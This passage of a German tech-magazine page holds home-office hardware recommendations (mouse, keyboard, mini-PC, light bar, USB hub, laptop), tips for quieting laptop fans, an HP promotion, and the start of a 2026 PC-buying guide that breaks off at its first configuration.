Dank einer großen Auswahl an Farbvarianten für Gestell und Platte lässt sich das Möbelstück in bestehende Wohnkonzepte integrieren. Lediglich der maximale Höhenbereich von 119 Zentimetern sollte vor dem Kauf mit der eigenen Körpergröße abgeglichen werden – für Personen weit über 1,90 Meter könnte der Hub im Stehen nämlich etwas knapp werden.

Tipp: Die besten Gaming-Tische stellen wir Ihnen in diesem Ratgeber vor.

Office-Maus: Logitech MX Master 3S

Logitech

Preis: 100 Euro

Technik:

• Sensor-Technologie: Darkfield High Precision mit bis zu 8.000 DPI (Abtastung funktioniert auf fast allen Oberflächen, einschließlich Glas ab 4 mm Dicke)
• Tasten & Geräuschentwicklung: 7 Tasten mit „Quiet Clicks“-Technologie (90 % weniger Klickgeräusche im Vergleich zum Vorgängermodell)
• Scroll-System: Elektromagnetisches MagSpeed-Scrollrad, dediziertes Daumen-Bedienelement für horizontales Scrollen
• Konnektivität & Kompatibilität: Bluetooth Low Energy; kompatibel mit Windows, macOS, Linux und ChromeOS (koppelbar mit bis zu 3 Geräten via Easy-Switch)
• Smarte Features: Unterstützt Logitech Flow (nahtlose Steuerung und Dateiübertragung zwischen mehreren Computern gleichzeitig)
• Software-Anbindung: Anpassbare Tasten und App-spezifische Profile über die Logi Options+ App

Wer im Homeoffice täglich viele Stunden am Bildschirm arbeitet, findet in der Logitech MX Master 3S ein treues und hochwertiges Werkzeug. Die ergonomisch geformte Silhouette ist speziell darauf ausgelegt, die Handfläche zu unterstützen und eine natürliche Haltung des Handgelenks zu fördern. Technisch sticht vor allem das elektromagnetische MagSpeed-Scrollrad hervor: Es arbeitet nahezu geräuschlos, lässt sich präzise stoppen und schaltet bei schnellen Bewegungen automatisch in einen rasanten Freilauf, um lange Dokumente oder Tabellen schneller zu durchlaufen.

Die gedämpften Tastenschalter eliminieren Klickgeräusche fast vollständig und können Störungen in Videokonferenzen damit geschickt verhindern. Der 8.000-DPI-Sensor arbeitet auch auf schwierigen Oberflächen wie Glas zuverlässig.

Für das Arbeiten an mehreren Computern parallel bietet die Flow-Funktion echten Nutzwert: Der Mauszeiger gleitet über die Bildschirmgrenzen hinweg, um Texte oder Dateien direkt per Copy-and-Paste zwischen zwei PCs zu übertragen. Aufgrund der asymmetrischen Bauform ist dieses Modell allerdings ausschließlich für Rechtshänder geeignet.

Sie suchen eine Gaming-Maus? Hier finden Sie die besten Modelle.

Tastatur: Logitech MX Keys S

Logitech

Preis: 120 Euro

Technik:

• Tastatur-Layout: Deutsches QWERTZ-Layout (Full-Size inkl. Ziffernblock), flaches Low-Profile-Design
• Tasten-Technologie: Membran-Schalter („Fluid Quiet Typing“) mit kugelförmigen Tastenmulden
• Beleuchtung: Intelligente Hintergrundbeleuchtung (aktiviert sich per Näherungssensor und passt sich dem Umgebungslicht an)
• Konnektivität: Bluetooth Low Energy (BLE) oder Logi Bolt USB-Empfänger (im Lieferumfang enthalten)
• Multi-Device & Multi-OS: Koppelbar mit bis zu 3 Geräten; unterstützt Windows, macOS, Linux, ChromeOS
• Akkulaufzeit: Bis zu 10 Tage mit aktiver Beleuchtung, bis zu 5 Monate bei ausgeschalteter Beleuchtung (wiederaufladbar über USB-C)
• Smarte Features: Unterstützung von Makros (Smart Actions) und Logitech Flow über die Logi Options+-App

Die Logitech MX Keys S ist als flache Low-Profile-Tastatur das passende Gegenstück zur MX-Master-Maus. Die Tasten sind mit einer leichten, kreisförmigen Vertiefung versehen, die sich der Fingerform anpasst und so die Tippgenauigkeit erhöht.

Das Tippgefühl erinnert an eine hochwertige Laptop-Tastatur, arbeitet jedoch spürbar leiser, was den Einsatz im gemeinsamen Büro oder in Telefonaten erleichtert. Die solide Bauweise sorgt für ein stabiles Liegen auf dem Schreibtisch ohne Durchbiegen.

Die integrierte Hintergrundbeleuchtung reagiert über Sensoren auf die Annäherung der Hände und reguliert die Helligkeit automatisch nach dem vorhandenen Raumlicht. Über die zugehörige Software lassen sich automatisierte Kurzbefehle (Smart Actions) anlegen, um wiederkehrende Arbeitsabläufe mit einem einzigen Tastendruck auszuführen.

Wie die MX Master 3S beherrscht auch die Tastatur das geräteübergreifende Arbeiten via Flow-Funktion und schaltet auf Knopfdruck zwischen bis zu drei gekoppelten Computern um. Einziger Konstruktionsnachteil: Die Tastatur besitzt keine ausklappbaren Standfüße, der vorgegebene Aufstellwinkel ist also fixiert.

Wenn Sie ein anderes Modell suchen: Hier testen wir die besten Keyboards ohne Kabel.

Mini-PC: NiPoGi AM06 PRO mit АMD Ryzen 7

NiPoGi

Preis: 700 Euro

Technik:

• Prozessor: AMD Ryzen 7 7730U (8 Kerne / 16 Threads, Zen 3-Architektur, bis zu 4,5 GHz)
• Arbeitsspeicher: 32 GB DDR4 RAM (Dual-Channel, erweiterbar auf bis zu 64 GB)
• Datenspeicher: 1 TB M.2 NVMe SSD (Erweiterbar über einen zweiten M.2-Slot sowie einen 2,5-Zoll-SATA-Schacht)
• Grafik: Integrierte AMD Radeon Graphics (8 Kerne, 2000 MHz)
• Konnektivität: Wi-Fi 6 (802.11ax), Bluetooth 5.2, Dual-Gigabit-Ethernet (2 × RJ45-LAN-Ports)
• Anschlüsse Front: 2 × USB 3.2 Gen 2 Type-A (10 Gbit/s), 1 × 3,5-mm-Audiobuchse
• Anschlüsse Rückseite: 2 × USB 2.0 Type-A, 1 × HDMI 2.0, 1 × DisplayPort, 1 × voll ausgestatteter USB 3.2 Gen 2 Type-C (Daten, Strom und Videoausgabe), 1 × USB-C-Stromeingang
• Betriebssystem: Windows 11 Pro vorinstalliert
• Lieferumfang: Mini-PC, Netzteil, HDMI-Kabel, VESA-Montagehalterung

Der NiPoGi AM06 PRO bringt die nötigen Leistungsreserven mit, um als langlebige Zentrale im Homeoffice zu fungieren. Angetrieben von einem AMD Ryzen 7 Prozessor mit acht Kernen und großzügigen 32 Gigabyte Arbeitsspeicher meistert der kompakte Desktop-Zwerg auch intensives Multitasking. Das System reagiert beim parallelen Betrieb von aufwendigen Datenbanken, unzähligen Browser-Tabs und hochauflösenden Videokonferenzen immer noch flüssig.

Mit seinem 15-Watt-Design bleibt der Stromverbrauch des Prozessors niedrig, was auch dem Kühlsystem im Bürobetrieb zu leiser Arbeit verhilft.

Die Anschlussausstattung des Gehäuses ist ordentlich: Über HDMI, DisplayPort und den modernen USB-C-Port lässt sich ein Triple-Monitor-Set-up mit jeweils 4K-Auflösung realisieren. Für eine stabile Netzwerkanbindung sorgen zeitgemäßes Wi-Fi 6 sowie zwei physische Gigabit-LAN-Anschlüsse auf der Rückseite. Über die mitgelieferte VESA-Platte kann der Rechner bei Bedarf komplett unsichtbar hinter dem Monitor montiert werden.

Als Einschränkung muss man aber anmerken, dass die integrierte Grafiklösung zwar für einfache kreative Anwendungen und Gelegenheitsspiele ausreicht, bei modernen, grafikintensiven 3D-Spielen oder professionellen 4K-Renderings jedoch an ihre Grenzen stößt – bei Mini-PCs ist das eine typische Schwäche. Für den reinen, anspruchsvollen Produktiveinsatz bietet das Gesamtsystem jedoch ein richtig starkes Fundament.

Hier stellen wir weitere Spitzen-Modelle (Mini-PCs) bei Amazon vor

Beleuchtung im Homeoffice: Quntis Computer Monitor Lampe LED mit Fernbedienung

Quntis

Preis: 50 Euro

Technik:

• Länge der Lichtleiste: 40 cm (optimiert für Monitore von 15 bis 22 Zoll mit einer Gehäusedicke von 0,7 bis 3,5 cm; nicht für Notebooks geeignet)
• Leuchtmittel & Schutz: Flackerfreie LEDs mit integriertem Anti-Blaulicht-Filter (augenschonend)
• Steuerung: Kombinierte Bedienung über Touch-Tasten direkt an der Leiste sowie eine zusätzliche kabellose Fernbedienung
• Helligkeit: Stufenlos oder in vordefinierten Stufen von 5 % bis 100 % regelbar
• Farbtemperatur: Stufenlos einstellbar von warmweiß (3000 Kelvin) bis tageslichtweiß (6500 Kelvin)
• Automatik-Modus: Integrierter Lichtsensor für automatisches Dimmen basierend auf dem Umgebungslicht
• Stromversorgung: USB-Betrieb via mitgeliefertem 2-Meter-USB-C-Kabel (5V/1A), Anschluss am PC, Monitor oder Netzteil möglich
• Energieeffizienz: Energieklasse A

Die Quntis Monitor Light Bar bietet eine platzsparende und preiswerte Methode, um Ihren Arbeitsplatz im Homeoffice ergonomisch auszuleuchten. Die 40 Zentimeter lange Leiste wird einfach auf die Oberseite des Bildschirms geklemmt, so bleibt die eigentliche Schreibtischfläche frei für Dokumente, Tastatur und Maus. Die Optik ist so konstruiert, dass der Lichtkegel ausschließlich nach vorn und unten auf die Arbeitsfläche fällt. Dadurch werden Reflexionen oder Blendungen auf dem Display verhindert und Schattenwürfe minimiert.

Ein echter Komfortgewinn bei der täglichen Arbeit ist die duale Steuerung: Einstellungen lassen sich direkt per Touch an der Oberseite oder bequem über die mitgelieferte Fernbedienung vornehmen. Neben der manuellen Justierung von Helligkeit und Farbtemperatur verfügt die Leiste über einen automatischen Dimm-Modus.

Ein integrierter Sensor misst das Raumlicht und passt die Leuchtstärke selbstständig an. Aufgrund der reinen USB-Stromversorgung wird hier kein freier Steckplatz an der Steckdose benötigt – dafür aber am Rechner oder Monitor. Vor dem Kauf sollten Sie die Monitorgröße abgleichen: Bei sehr großen Widescreen-Bildschirmen ab 27 Zoll stößt die 40-cm-Variante nämlich an ihre Grenzen, was die äußere Randausleuchtung angeht. Nutzer von großen Monitoren oder curved-Modellen können auch zu dieser Quantis-Leiste mit 51 cm greifen.

Anker 555 USB-C Docking Hub (8-in-1)

Anker

Preis: 50 Euro

Technik:

• Anschluss Typ: USB-C (integriertes Anschlusskabel)
• Anschlüsse (8-in-1): 1 × HDMI 2.0, 1 × USB-C (nur Daten), 1 × USB-C (Power Delivery), 2 × USB-A (Daten), 1 × Gigabit-Ethernet, 1 × SD-Kartenleser, 1 × microSD-Kartenleser
• Videoausgabe: Bis zu 4K bei 60 Hz (bei Geräten mit DP 1.4; bei DP 1.2 maximal 4K bei 30 Hz)
• Datenübertragungsrate: Bis zu 10 Gbit/s über die primären USB-C und USB‑A‑Ports (zweiter USB-C-Datenport funkt mit 5 Gbit/s)
• Pass-Through-Laden: Unterstützt USB-C Power Delivery bis 100 Watt Eingang (gibt maximal 85 Watt Ladestrom an das verbundene Notebook weiter)
• Gehäuse & Gewicht: Aluminium-Polycarbonat-Mix für optimierte Wärmeableitung; Gewicht: 128 g
• Herstellergarantie: 18 Monate (inklusive Transporttasche im Lieferumfang)

Der Anker 555 8-in-1 USB-C Hub löst im Homeoffice das Problem fehlender Schnittstellen an modernen, flachen Laptops. Das solide, 128 Gramm schwere Gehäuse aus Aluminium und Polycarbonat sieht dabei nicht nur hochwertig aus.

Es ist spürbar robust und leitet die im Betrieb entstehende Abwärme zuverlässig ab. Im Vergleich zu älteren Hub-Generationen bietet dieses Modell einen wichtigen Vorteil bei der Videoausgabe: Über den HDMI-Port wird eine flüssige Bildwiederholrate von 60 Hertz bei 4K-Auflösung ausgegeben, was die Augen beim Arbeiten an externen Monitoren schont.

Die Anordnung der Ports ist durchdacht, sodass sich zwei herkömmliche USB-A-Stecker für Peripheriegeräte trotz der kompakten Bauweise nicht gegenseitig blockieren. Wer große Datenmengen von Kamera-Speicherkarten übertragen muss, profitiert von den integrierten SD- und microSD-Slots.

Ein weiterer funktionaler Pluspunkt zeigt sich bei der Netzwerkschnittstelle für ein Gigabit-Ethernet-Kabel. Über die Power-Delivery-Funktion schleift der Hub bis zu 85 Watt Ladestrom durch, wodurch etwa ein Notebook über dasselbe Kabel geladen werden kann, das auch die Daten überträgt. Wer allerdings ein extrem umfangreiches Set-up mit mehreren externen Bildschirmen oder ausschließlich modernen USB-C-Geräten betreibt, sollte zu einer größeren, stationären Dockingstation greifen. Für den universellen Alltagseinsatz liefert das Anker-Modell aber ein sehr gutes Verhältnis aus Preis und Leistung.

Weitere Top-Hubs und Docks mit USB-C-Anschluss testen wir hier

Premium Homeoffice-Laptop: Lenovo Yoga 9i 2-in-1 Aura Edition

Lenovo

Preis: 2.199 Euro

Technik:

• Display: 14 Zoll WQUXGA OLED-Touchdisplay, 2-in-1 Convertible (360-Grad-Scharnier für Laptop-, Stand-, Zelt- und Tablet-Modus)
• Prozessor: Intel Core Ultra 7 (mit dedizierter NPU für KI-Anwendungen, Copilot+ PC zertifiziert)
• Arbeitsspeicher: 32 GB RAM
• Datenspeicher: 1 TB NVMe SSD
• Grafik: Integrierte Intel Arc 140V Grafik
• Konnektivität: Wi-Fi 7 (neuester Highspeed-Standard)
• Sicherheit: Infrarot-Kamera (Windows Hello), Fingerabdruckscanner, mechanische Webcam-Abdeckung (Privacy Shutter)
• Akku: 75 Wh Kapazität mit Schnellladefunktion (Rapid Charge)
• Gehäuse & Gewicht: Luna Grau, 15,9 mm flach, Gewicht: 1,32 kg
• Zubehör: Inklusive Lenovo Yoga Pen (Eingabestift mit Druck- und Neigungserkennung)
• Betriebssystem: Windows 11 Home

Wer im Homeoffice keine Kompromisse bei Leistung, Mobilität und Displayqualität eingehen möchte, findet im Lenovo Yoga 9i Aura Edition ein äußerst starkes Arbeitswerkzeug. Das Gehäuse ist mit knapp 16 Millimetern Dicke und einem Gewicht von 1,32 Kilogramm sehr portabel. Das gestochen scharfe 14-Zoll-OLED-Touchdisplay ist das Herzstück des Gerätes, das Sie mit dem flexiblen 360-Grad-Scharnier schnell zum Tablet umklappen können.

Der mitgelieferte Yoga Pen reagiert präzise auf Druck und Neigung. Damit eignet er sich hervorragend für Skizzen, PDFs oder handschriftliche Notizen.

Unter der Haube arbeitet hier ein moderner Intel Core Ultra 7 Prozessor, der in Kombination mit den üppigen 32 Gigabyte Arbeitsspeicher und der Intel Arc Grafik auch komplexe Aufgaben wie Bildbearbeitung oder Datenanalysen spielend bewältigt. Als offizieller Copilot+ PC bringt das Gerät eine eigene Recheneinheit für lokale KI-Funktionen mit.

Gepaart mit der gesteigerten Energieeffizienz der Prozessorarchitektur liefert der 75-Wh-Akku genügend Ausdauer für einen kompletten Arbeitstag jenseits der Steckdose. Für moderne Sicherheit im mobilen Einsatz sorgen ein Fingerabdrucksensor sowie eine Infrarotkamera zur Gesichtserkennung. Das Premium-Paket hat allerdings seinen Preis – für einfache Office-Tätigkeiten ist das Yoga 9i fast schon überqualifiziert. Power-User kommen hier aber voll auf Ihre Kosten.

Günstigere, aber ebenfalls leistungsstarke Laptops testen wir hier.

Software-Ecke: Drei Must-Have Tools für maximale Produktivität

Die Hardware steht – dann lohnt sich auch ein Blick auf die Software. Hier finden Sie z. B. die besten Alternativen für Microsoft Office. Doch auch abseits der gängigen Office-Suiten gibt es clevere Programme, die Ihren Arbeitsalltag im Homeoffice spürbar erleichtern:

• Microsoft PowerToys – Das Schweizer Taschenmesser: Windows 11 bringt zwar von Haus aus gute Funktionen zum Andocken von Fenstern mit, die kostenlose Microsoft-Erweiterung PowerToys hebt das Multitasking aber auf ein neues Level. Mit dem integrierten Tool FancyZones erstellen Sie komplexe, maßgeschneiderte Raster-Layouts auf Ihrem Monitor. Besonders auf großen Bildschirmen zahlt sich das sofort aus: Sie ziehen ein Fenster mit gedrückter Shift-Taste einfach in eine Ihrer definierten Zonen – schon herrscht Ordnung.
  
  
• Windows-Nachtmodus – Augenschonendes Arbeiten ohne Zusatzsoftware: Wenn die Arbeit mal länger dauert, müssen Sie für den Schutz Ihrer Augen kein Extra-Programm installieren. Windows hat ein hervorragendes Bordmittel: den integrierten Nachtmodus (Sie finden ihn in den Systemeinstellungen unter „Anzeige“). Einmal aktiviert, reduziert das System den Blaulichtanteil des Monitors automatisch anhand eines festen Zeitplans – oder synchron zum lokalen Sonnenuntergang. Dabei wechselt die Anzeige zu wärmeren, augenschonenden Farben.
  
  
• Krisp – ein starkes Tool für Vieltelefonierer: Das vielleicht mächtigste Tool für ablenkungsfreie Meetings. Die KI-gestützte Software klinkt sich als virtuelles Mikrofon in Teams, Zoom oder Webex ein und filtert störende Hintergrundgeräusche in Echtzeit heraus. Ob Hundegebell, das Tippen auf einer mechanischen Tastatur oder der Rasenmäher des Nachbarn – Krisp sorgt dafür, dass Ihre Stimme glasklar übertragen wird.

Fazit: Investieren Sie in Ihren täglichen Workflow – es lohnt sich

Ein effizientes Heimbüro ist ein dynamisches System. Wenn die Eingabegeräte präzise reagieren, die Rechenleistung auch anspruchsvollen Anwendungen standhält und die Beleuchtung Ihre Augen entlastet, entsteht ein reibungsloser Arbeitsfluss. 2026 geht es im Homeoffice nicht mehr um einzelne Geräte, sondern um ihr Zusammenspiel als Gesamtsystem, das produktives und gesundes Arbeiten ermöglicht.

Das bedeutet aber nicht, dass Sie gleich Ihr gesamtes Set-up auf einmal ersetzen müssen. Oft reicht es, gezielt an den größten Reibungspunkten anzusetzen – etwa mit einem neuen Monitor, einem ergonomischen Bürostuhl oder einem leistungsfähigeren PC. Jeder dieser Schritte verbessert das Gesamtsystem spürbar und sorgt dafür, dass Arbeitstage entspannter und effizienter werden.

Vielleicht kennen Sie das: Man sitzt konzentriert am Schreibtisch, und plötzlich klingt das Notebook wie eine startende Boeing 747. Während das eigene Gerät bei der kleinsten Excel-Tabelle aufheult, scheint der Laptop des Kollegen selbst bei Videobearbeitung keinen Mucks von sich zu geben. Woran liegt das?

Ob ein Notebook flüsterleise arbeitet oder ständig den Lüfter anwirft, ist keine Zauberei, sondern ein Zusammenspiel aus Alter, Pflege, Software und der verbauten Hardware. Mit den folgenden Tipps machen Sie Schluss mit Lüfter-Lärm – und verstehen, warum moderne Geräte oft deutlich leiser arbeiten.

Der Zahn der Zeit: Warum alte Geräte plötzlich zu laut sind

Viele Nutzer fragen sich, warum ihr ehemals leises Notebook nach zwei oder drei Jahren plötzlich zum Schreihals mutiert. Die Antwort liegt oft nicht nur in einem einzelnen Faktor, sondern in einer Kombination aus Staub, Alterung und veränderter Leistungscharakteristik.

Hausstaub ist dabei tatsächlich der chronische Hauptverursacher. Laptops mit aktiver Kühlung saugen ständig Luft an, um CPU und GPU zu kühlen. Dabei gelangen feine Partikel ins Innere, die sich mit der Zeit an den Rotorblättern des Lüfters und den Lamellen der Kühlkörper absetzen. Das reduziert den Luftdurchsatz – schleichend, aber kontinuierlich.

Das System reagiert darauf mit höheren Lüfterdrehzahlen, weil die Temperatur schneller ansteigt oder nicht mehr effizient abgeführt wird. Zusätzlich entsteht bei vielen älteren Geräten nahezu ein Regelkreislauf aus Hitze und Lautstärke: Die CPU drosselt bei hohen Temperaturen (Thermal Throttling), kühlt daraufhin kurz ab, taktet dann aber wieder hoch – und erzeugt dadurch erneut Wärme. Das führt zum typischen Aufheulen in Wellen – mit extra Nerv-Faktor.

Ein oft übersehener Punkt ist auch die Alterung der Wärmeleitpaste zwischen Prozessor und Kühleinheit. Diese Paste trocknet aus und verliert über die Jahre ihre gleichmäßige Wärmeverteilung. Dadurch entstehen lokale Hotspots, die den Lüfter zusätzlich fordern. Ein fachgerechter Austausch kann die Temperaturen je nach Gerät deutlich senken – in manchen Fällen um bis zu 10 Grad oder mehr.

Auch die Firmware spielt eine Rolle: Bei älteren Notebooks sind die hinterlegten Lüfterkurven oft konservativer eingestellt als bei heutigen Geräten. Das bedeutet: Der Lüfter springt früher und aggressiver an, um thermische Spitzen zu vermeiden. Solche Einstellungen nimmt man übrigens am besten direkt nach dem Kauf eines neuen Gerätes vor.

Macht das Reinigen des Laptop-Inneren Sinn?

Die kurze Antwort: Das macht auf jeden Fall Sinn – in vielen Fällen ist es sogar die effektivste Maßnahme bei älteren Geräten.

Schnellreinigung: Mit Druckluftspray vorsichtig durch die Lüftungsschlitze pusten. Wichtig: Den Lüfter dabei möglichst fixieren, damit er sich nicht unkontrolliert durch den Luftstrom dreht – das kann ihn unnötig belasten. Druckluft hat dabei den Vorteil, dass sie in Strömungsrichtung des Kühlsystems arbeitet und den Staub so aus dem Gerät heraus transportiert. Alternativ lassen sich Staubablagerungen an den Lüftungsgittern auch vorsichtig mit einem Staubsauger auf niedriger Stufe von außen entfernen.

Die gründliche Reinigung: Bei vielen Geräten lässt sich die Bodenplatte relativ einfach entfernen. Im Inneren kann der Staub dann mit einem weichen Pinsel oder einem antistatischen Sauger direkt an Kühlkörper und Lüfter entfernt werden. Besonders die feinen Lamellen setzen sich dort oft vollständig zu, ohne dass man es von außen sieht. Lesen Sie dazu auch unseren Ratgeber “So reinigen Sie PC und Laptop richtig“.

Software-Tools als unsichtbare Lüfter-Dirigenten

Foundry

Oft ist nicht die Hardware das Problem, sondern die Art, wie das System mit Leistung und Temperatur umgeht. Windows und macOS arbeiten mit dynamischen Temperatur- und Leistungsprofilen, die entscheiden, wann Prozessor und Lüfter hochdrehen. Diese Profile sind ab Werk aber häufig eher auf Sicherheit als auf Lautstärke ausgelegt und reagieren dadurch manchmal zu aggressiv – sprich: laut.

• Energieeinstellungen anpassen: Schon die Wahl des Leistungsprofils kann viel verändern. Für typische Alltagsaufgaben wie Surfen, Textverarbeitung oder Streaming reicht oft ein gedrosselter Modus aus. Dadurch sinkt die CPU-Spitzenlast, und der Lüfter muss weniger leisten.
• Hintergrundprozesse prüfen: Dauerhaftes Lüfterrauschen entsteht häufig durch unsichtbare Last im Hintergrund – etwa durch Browser-Tabs, Cloud-Synchronisation oder Updates. Der Task-Manager (Windows) bzw. die Aktivitätsanzeige (macOS) zeigt Ihnen schnell, welche Prozesse permanent CPU-Leistung ziehen.
• Lüfter- und Leistungssteuerung: Tools wie Fan Control, HWiNFO oder herstellereigene Systeme wie Armoury Crate ermöglichen detaillierte Temperatur- und Lüfterprofile. Damit lassen sich leisere Kurven definieren – etwa mit späterem Hochdrehen der Lüfter oder stabileren Temperaturzonen.

Beachten Sie allerdings: Zu aggressive manuelle Einstellungen können die Temperaturen unnötig in die Höhe treiben oder zu stärkeren Schwankungen führen, wenn das System ständig zwischen Boost und Drosselung pendelt.

Äußere Einflüsse: Standort, Staubbelastung und Lichteinfall

Manchmal liegt das Problem nicht im Notebook selbst, sondern in seiner Umgebung. Besonders kritisch sind Unterlagen, die die Luftzufuhr blockieren. Ein Laptop auf dem Bett, Sofa oder Kissen wirkt auf die Kühlung wie eine Dämmmatte: Die Ansaugöffnungen werden teilweise oder komplett verdeckt, während sich die Wärme unter dem Gerät staut.

Darauf sollten Sie achten:

• Der richtige Untergrund: Immer eine harte, ebene Fläche verwenden. Schon kleine Verbesserungen der Luftzufuhr können die Lüfteraktivität deutlich reduzieren.
• Umgebungstemperatur und Lichteinfall: Direkte Sonneneinstrahlung wird oft unterschätzt. Ein dunkles Notebook auf einem aufgeheizten Schreibtisch kann sich allein durch Umgebungshitze deutlich stärker erwärmen.
• Gehäusematerialien: Hochwertige Geräte aus Aluminium oder Magnesium nutzen das Gehäuse als zusätzlichen Wärmeleiter und verteilen die Hitze besser. Kunststoffgehäuse isolieren stärker, wodurch sich Wärme eher im Inneren staut und Lüfter häufiger aktiv werden müssen.

Hardware-Hilfen: Was bringen Kühlpads im Alltag?

Klim

Wenn Software-Optimierungen und Reinigung nicht mehr ausreichen, kommen externe Kühllösungen ins Spiel – meist in Form von Kühlpads oder sogenannten Cooling Stands. Dabei wird das Notebook auf eine erhöhte Plattform gesetzt, unter der kleine Ventilatoren Luft an die Unterseite des Gehäuses blasen.

Besonders bei Gaming-Laptops oder älteren Geräten unter Dauerlast können die Temperaturen damit messbar sinken. Das ist aber nicht immer die Lösung aller Lüfter-Sorgen und stark vom Aufbau des Gerätes abhängig.

Der vielleicht wichtigere Effekt ist eher indirekter Natur: Viele Kühlpads heben das Notebook leicht an. Dadurch verbessert sich der Luftstrom unter dem Gerät, selbst dann, wenn die Lüfter des Pads nur schwach laufen oder gar nicht aktiv sind. Schon ein größerer Abstand zur Tischplatte kann die passive Kühlung stabilisieren und Wärmestau verhindern.

Technik-Sprung: Neue Notebooks sind im Vorteil

Wer 2026 ein aktuelles Notebook mit Modellen von vor fünf Jahren vergleicht, kann oft einen deutlich ruhigeren Betrieb feststellen. Dafür sind mehrere technologische Entwicklungen verantwortlich, die sich gegenseitig verstärken.

• ARM-basierte Prozessoren: Durch Architekturen wie Apple Silicon und moderne Snapdragon-X-Plattformen haben sich besonders im Ultrabook-Segment sehr energieeffiziente Chips etabliert (etwa von Qualcomm im Windows-Ökosystem). Diese Chips erzeugen bei Alltagslast deutlich weniger Abwärme, wodurch viele Geräte im Büro- und Medienbetrieb sehr leise oder sogar lüfterlos arbeiten können. Bei hoher Dauerlast ist aber auch hier oft noch eine aktive Kühlung notwendig.

• Intelligentere Leistungs- und Kühlsteuerung: Statt klassisch harter Lüfterkurven setzen moderne Systeme zunehmend auf vorausschauende Steuerung. Das bedeutet: Leistung wird schrittweise aufgebaut, Temperaturspitzen werden abgefangen, bevor der Lüfter stark hochdrehen muss. Eine echte KI-Kühlung im strengen Sinn ist das zwar nicht, adaptive Algorithmen sorgen aber für deutlich gleichmäßigere Geräuschverläufe.

• Weiterentwickelte Kühlsysteme: Neben klassischen Heatpipes kommen in leistungsstärkeren Geräten häufiger Vapor-Chamber-Systeme zum Einsatz, die Wärme großflächiger verteilen. In High-End-Modellen werden zudem neue Materialien und Verbundlösungen getestet, um Wärme schneller vom Chip ins Gehäuse abzuleiten. Das Ziel ist weniger maximale Kühlung, sondern ein stabileres Temperaturverhalten mit weniger Lüfterspitzen.

Profi-Ausrüstung: So machen Sie Ihr System flüsterleise

Mit dem richtigen Zubehör lässt sich die Lautstärke eines Notebooks oft weiter senken – entweder durch zusätzliche Kühlung im Alltag oder durch gezielte Hardware-Upgrades.

Eine Hardware-Lösung sind etwa externe Vakuum-Kühler wie der Klim Tempest Laptop Kühler. Solche Geräte werden direkt an die Lüftungsauslässe des Notebooks angesetzt und ziehen die warme Luft aktiv aus dem Gehäuse. Besonders bei älteren oder stark belasteten Geräten kann das die Temperaturen unter Last spürbar senken. Allerdings hängt die Wirkung davon ab, wie gut die Luftführung des jeweiligen Notebooks konstruiert ist.

Für den klassischen Schreibtischbetrieb sind Kühlpads eine deutlich einfachere, weil universelle Lösung. Modelle wie das Targus Cooling Pad kombinieren eine leicht erhöhte Ablagefläche mit integrierten Ventilatoren, die Luft unter das Notebook fächern. Dadurch verbessert sich der Luftstrom an der Gehäuseunterseite, was vor allem bei Geräten mit schwächerer Kühlkonstruktion einen stabileren Temperaturverlauf unterstützt. Gleichzeitig sorgt der Neigungswinkel für eine angenehmere Arbeitshaltung.

Wer den konsequentesten Schritt Richtung Ruhe gehen möchte, kommt aber oft nicht um ein moderneres Gerät herum. Besonders energieeffiziente Notebooks wie das Apple MacBook Air zeigen, wie weit sich die Geräuschentwicklung inzwischen reduzieren lässt. Durch sehr geringe Abwärme im Alltagsbetrieb bleibt das Kühlsystem oft inaktiv oder arbeitet nur minimal – im Büro- und Medienalltag ist das Gerät praktisch unhörbar.

Fazit

Ein lautes Notebook ist selten ein isoliertes Problem. Meistens ist es ein Zusammenspiel aus mehreren Faktoren: Staub im Inneren, ungünstige Aufstellung, alternde Wärmeleitpaste und eine Kühlstrategie, die nicht mehr optimal arbeitet.

Die gute Nachricht: In vielen Fällen lässt sich die Lautstärke mit überschaubarem Aufwand deutlich reduzieren. Eine gründliche Reinigung, bessere Luftzufuhr und ein bewusster Umgang mit Energieprofilen reichen oft schon aus, um das Lüfterverhalten spürbar zu beruhigen.

Wenn das nicht mehr reicht, zeigt der Blick auf moderne Geräte, wie stark sich die Technik verändert hat. Effiziente Prozessoren und optimierte Kühlsysteme sorgen heute dafür, dass Leistung nicht mehr automatisch mit Lautstärke bezahlt werden muss.

Lange Zeit galten fallende Hardware-Preise als Naturgesetz: Wer ein paar Monate wartete, bekam mehr Leistung für weniger Geld. Mitte 2026 gelten diese Regeln leider nicht mehr. Der gigantische Hunger der Rechenzentren nach KI-Beschleunigern saugt die Produktionskapazitäten der großen Halbleiterfertiger leer – Besserung ist erst einmal nicht in Sicht. Für Endverbraucher bedeutet das: Wer jetzt einen neuen Desktop-PC braucht, sieht sich mit einem äußerst angespannten Markt konfrontiert.

PROMOTION

Ihr Laptop kann nur ein Ding? Dieses 2-in-1-Modell passt sich Ihrem Workflow an

Das HP OmniBook 5 Flip bietet dank 360°-Scharnier vier Nutzungsmodi – vom klassischen Laptop bis zum Tablet. Der Intel® Core™ 7 Prozessor sorgt für flüssiges Arbeiten im Alltag. Das 14 Zoll 2K-Touchdisplay (1.920 x 1.200) stellt Inhalte gestochen scharf dar, 16 GB RAM und 512 GB SSD bieten Leistung und Platz für Ihre Projekte. Die Fast-Charge-Funktion bringt Sie schnell zurück auf 50 % Akkuladung.

Erfahren Sie mehr über das HP OmniBook 5 Flip

Gleichzeitig ist die technische Verlockung groß: Mit Nvidias Blackwell-Architektur (RTX 50-Serie) und AMDs effizienten Ryzen-9000-Prozessoren stehen technologische Schwergewichte in den Regalen, die einen massiven Leistungssprung versprechen. Lohnt sich also das Warten auf bessere Preise? Die klare Antwort lautet: Nein, zumindest nicht in absehbarer Zeit. Wer jetzt einen neuen PC braucht, muss nicht warten – sollte aber clever konfigurieren, um die aktuellen Stolpersteine der Industrie zu umschiffen.

Foundry

Drei Beispiel-Konfigurationen: Für jeden Anspruch das richtige Setup

Die strategischen Fragen sind geklärt, wir machen uns ans Eingemachte. In den folgenden drei Setups listen wir die besten Kernkomponenten für ein optimales Preis-Leistungsverhältnis auf. Um Ihnen maximale Flexibilität zu ermöglichen, nennen wir innerhalb der Konfigurationen unterschiedliche Komponenten: So können Sie je nach persönlicher Vorliebe gezielt den Preis beeinflussen, mehr Leistung herausholen oder zwischen AMD und Intel wechseln, wenn sich das sinnvoll anbietet.

Konfiguration 1: Der Office- und Alltags-PC

AMD

Konfiguration 1: Zuverlässigkeit, leiser Betrieb und strikte Budgetkontrolle

